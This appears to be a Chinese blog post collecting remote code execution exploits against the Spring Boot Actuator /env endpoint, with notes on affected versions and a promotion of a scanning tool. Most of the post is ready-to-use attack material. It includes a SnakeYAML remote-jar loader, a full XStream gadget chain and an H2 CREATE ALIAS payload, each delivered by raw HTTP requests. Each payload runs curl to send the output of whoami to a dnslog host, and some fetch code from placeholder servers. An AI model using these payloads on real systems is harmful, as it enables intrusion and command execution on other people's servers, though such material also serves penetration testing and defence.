Spring Boot Actuator Env RCE合集

先推荐一篇文章，国内大多资料源头也来自于此：

https://www.veracode.com/blog/research/exploiting-spring-boot-actuators

因为分析的人太多了，不做展开探究，仅做笔记整理。
结尾彩蛋，emmmm，就酱~

环境属性覆盖

影响范围：
Spring Boot <= 1.4
Spring Boot 1.5.x （Dalston 版本）

利用前可留意/env端点是否存在spring.cloud.bootstrap.location属性。

工具地址：https://github.com/artsploit/yaml-payload

#AwesomeScriptEngineFactory.java
    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("curl `whoami`.wonkpo.dnslog.cn");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

#yaml-payload.yml
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://x.x.x.x/yaml-payload.jar"]
  ]]
]

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
 
spring.cloud.bootstrap.location=http://x.x.x.x/yaml-payload.yml

POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

XStream反序列化

影响范围：
Eureka-Client <1.8.7

利用前可留意/env端点是否存在eureka.client.serviceUrl.defaultZone属性。
这个思路也出现在了上面推荐的文章里，通过/env将eureka.client.serviceUrl.defaultZone属性设置为服务器URL，然后调用/refresh端点。

#x
<linked-hash-set>
    <jdk.nashorn.internal.objects.NativeString>
        <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
            <dataHandler>
                <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
                    <is class="javax.crypto.CipherInputStream">
                        <cipher class="javax.crypto.NullCipher">
                            <serviceIterator class="javax.imageio.spi.FilterIterator">
                                <iter class="javax.imageio.spi.FilterIterator">
                                    <iter class="java.util.Collections$EmptyIterator"/>
                                    <next class="java.lang.ProcessBuilder">
                                        <command>
                                            <string>curl `whoami`.wonkpo.dnslog.cn</string>
                                        </command>
                                        <redirectErrorStream>false</redirectErrorStream>
                                    </next>
                                </iter>
                                <filter class="javax.imageio.ImageIO$ContainsFilter">
                                    <method>
                                        <class>java.lang.ProcessBuilder</class>
                                        <name>start</name>
                                        <parameter-types/>
                                    </method>
                                    <name>foo</name>
                                </filter>
                                <next class="string">foo</next>
                            </serviceIterator>
                            <lock/>
                        </cipher>
                        <input class="java.lang.ProcessBuilder$NullInputStream"/>
                        <ibuffer></ibuffer>
                    </is>
                </dataSource>
            </dataHandler>
        </value>
    </jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
 
eureka.client.serviceUrl.defaultZone=http://x.x.x.x/x

POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

H2 RCE

这个RCE最近莫名其妙好多人关注，坦言说他有点人造漏洞的韵味，在此稍微复现下吧，该漏洞仅存在于Spring Boot 2.x版本。

POST /actuator/env HTTP/1.1
Host: 172.19.147.149:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Type: application/json
Content-Length: 365

{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('curl `whoami`.wonkpo.dnslog.cn');"}

POST /actuator/restart HTTP/1.1
Host: 172.19.147.149:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cache-Control: max-age=0

END

以上提及内容的脚本检测在SB-Actuator V1.1版本同步更新，有需求的小伙伴自行下载或及时更新旧版本。

工具地址：https://github.com/rabbitmask/SB-Actuator

V 1.1更新日志
增加针对env端点的深度检测：
    Spring Boot 1.x版本环境属性覆盖和XStream反序列化导致的RCE
    Spring Boot 2.x版本H2配置不当导致的RCE
C段查询修改为基于CIDR查询：
    提供了格式判定检测，您需要正确输入CIDR格式
    如：192.168.1.0/24  默认探测开启80/443端口

最后编辑于：2020.05.07 21:22:25